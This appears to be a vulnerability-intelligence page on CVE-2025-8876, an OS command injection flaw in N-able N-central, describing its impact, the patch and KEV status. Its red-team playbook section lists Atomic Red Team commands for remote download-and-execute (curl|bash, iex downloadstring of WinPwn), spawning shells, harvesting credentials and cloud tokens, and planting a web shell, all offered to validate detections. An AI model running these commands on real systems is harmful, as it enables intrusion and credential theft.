CVE-2025-8876
Overview
This vulnerability is a command injection flaw caused by improper input validation in N-able N-central. The root cause lies in the failure to sanitize user-supplied inputs in specific components, enabling crafted inputs to be interpreted as operating system commands. The affected component is the N-central management platform prior to version 2025.3.1, where input handling mechanisms do not adequately restrict command execution vectors.
Vulnerability Description
Improper Input Validation vulnerability in N-able N-central allows OS Command Injection.This issue affects N-central: before 2025.3.1.
Impact
An attacker with a low-privileged authenticated account can execute arbitrary operating system commands on the N-able N-central server. This enables full system compromise, including unauthorized access to sensitive data, manipulation of system configurations, and potential lateral movement within the network. The exploit requires no user interaction beyond possessing valid credentials with limited privileges, significantly increasing the risk of unauthorized control and disruption of managed environments.
Solution
N-able has released version 2025.3.1 of N-central to address this vulnerability. Users should upgrade to N-central 2025.3.1 or later as detailed in the vendor advisory available at https://status.n-able.com/2025/08/13/announcing-the-ga-of-n-central-2025-3-1/. No alternative workarounds are specified; applying the official patch is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in N-able N-central is characterized by improper input validation, which facilitates OS command injection. This flaw arises from the application’s failure to adequately sanitize user inputs before executing system-level commands. Attackers can exploit this weakness by injecting malicious commands that the system may execute with the same privileges as the application. This can lead to unauthorized access to the underlying operating system, allowing attackers to manipulate files, execute arbitrary code, or even gain control over the entire system. The severity of this vulnerability is underscored by its high CVSS score of 9.4, indicating a critical risk to affected systems.
Exploitation of this vulnerability can occur through various attack vectors. An attacker may leverage web interfaces or API endpoints that accept user input without proper validation. For instance, if an attacker crafts a specially designed input that includes malicious commands, the application may inadvertently execute these commands on the server. This could occur in scenarios where user inputs are used to construct command-line arguments or shell commands directly. Additionally, the vulnerability can be exploited remotely, allowing attackers to target systems over the internet, which significantly broadens the potential attack surface and increases the likelihood of exploitation.
The real-world impact of this vulnerability can be severe, posing significant business risks. Organizations utilizing N-able N-central could face data breaches, unauthorized access to sensitive information, and potential disruption of services. The ability for an attacker to execute arbitrary commands means they could manipulate system configurations, deploy malware, or exfiltrate data, leading to financial losses, reputational damage, and regulatory penalties. Furthermore, the presence of such vulnerabilities can erode customer trust and confidence, particularly if sensitive client data is compromised. The potential for widespread exploitation also raises concerns about the overall security posture of organizations that rely on this software for managing IT services.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify the presence of improper input validation in applications. Additionally, employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious inputs before they reach the application. It is also crucial to ensure that all software, including N-able N-central, is kept up to date with the latest security patches. Organizations should establish robust input validation mechanisms, ensuring that all user inputs are sanitized and validated against expected formats before processing. This proactive stance not only mitigates the risk associated with this specific vulnerability but also strengthens the overall security framework of the organization.
In conclusion, the improper input validation vulnerability in N-able N-central represents a critical risk that can lead to severe consequences if exploited. Understanding the technical details, potential attack vectors, and real-world implications is essential for organizations to safeguard their systems. By implementing effective detection and mitigation strategies, businesses can significantly reduce their exposure to such vulnerabilities, ensuring the integrity and security of their IT environments.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-8876, reflecting a nearly 50% rise in the likelihood of exploitation. This upward adjustment, now placing the vulnerability in the 94th percentile of risk, signals growing attacker interest or improved exploitability, despite no new public exploit details emerging. The inclusion of this vulnerability in the Known Exploited Vulnerabilities (KEV) catalog further elevates its profile, indicating that it meets criteria for active or imminent threat consideration by cybersecurity stakeholders. For defenders, this shift underscores an urgent need to reassess exposure and prioritize patching efforts, as the increased EPSS score correlates with a heightened probability of targeted attacks. While ransomware involvement remains unconfirmed, the vulnerability’s critical severity and OS command injection vector continue to present a substantial risk for lateral movement and system compromise. Overall, the threat level associated with CVE-2025-8876 has intensified, warranting increased vigilance and accelerated mitigation within affected environments.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
N-Able | N-Central | All |
cpe:2.3:a:n-able:n-central:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-8876 |
| status.n-able.com |
GitHub CVE
|
https://status.n-able.com/2025/08/13/announcing-the-ga-of-n-central-2025-3-1/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-8876 |